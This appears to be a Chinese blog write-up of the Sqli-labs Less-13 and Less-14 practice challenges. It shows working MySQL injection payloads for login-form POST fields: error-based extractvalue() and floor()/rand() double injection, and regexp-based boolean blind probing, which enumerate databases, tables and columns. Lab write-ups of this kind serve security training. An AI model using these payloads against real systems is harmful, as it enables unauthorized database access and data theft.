Sqli-labs之Less-13和Less-14

                                                      Less-13

POST单引号变形双注入

由题意可知,有单引号闭合的问题,所以在输入框中分别输入  1' 和 1,看返回结果:

报错,从信息中得知还有一个小括号,测试   1') or 1=1 -- #

登录成功发现不在返回用户名和密码信息。

从以上的信息中我们知道如下要点:

1.有数据库报错信息----可以mysql()函数进行报错注入

2.正确回显返回蓝色字体图片,错误回显返回红色字体图片------对比两张图片可以利用布尔盲注

类似Less-5和Less-6,只需修改部分语句即可,顺便看下源代码:

下面先说报错注入:

1.报错型:extractvalue()

这里只简单说下,具体请参照Less-5和Less-11:

爆用户名和数据库名:

爆库:uname=1') and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1

2.报错型:floor()   又叫双注入

爆表:(方式一)(参考Sqli-labs之Less-5的补充

uname=1&passwd=-1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #

通过修改索引来得到数据库各个表(索引从0开始)

爆表(方式二):(慎用)

uname=1&passwd=-1') union select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a -- #

与Less-1对比:(发现使用group_concat()和floor()的组合需要页面能暴露出两个字段信息为准)

下面是别人做的,我这里显示直接正常,和Less-5一样的老毛病,涉及到group_concat()函数就不报错正常返回信息,原理还不知道(而有些人却能成功返回信息。。。),我猜测是因为数据库查询出来两个字段信息,即页面至少要能显现一个字段信息才行,就像这条语句放到Less-1就能执行的那样,页面要能显现出字段信息。

至于别人怎么成功的还不了解。

3.布尔盲注(参考Less-5)

利用 regexp (正则表达式)获取security数据库中 users 表中的列

uname=-1') or 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^userna[a-z]' limit 0,1) -- #&passwd=1

通过页面返回的图片进行对比,蓝色为true,红色为false,从而进行布尔盲注。

 

                                                  Less-14

POST单引号变形双注入

测试:

?id=1              uname=1&passwd=1                                       uname=1&passwd=1

?id=1'             uname=1&passwd=1'             =====同理==》uname=1'&passwd=1           (注: & 就相当于 and)

?id=1"            uname=1&passwd=1"                                      uname=1"&passwd=1

通过测试我们知道了这一题是双引号报错型注入,操作类似Less-13,可以通过布尔盲注和报错盲注,来进行解题,当然延时盲注也可以,不推荐比较费时。

示例:uname=1" and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1

后台源代码:

完。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值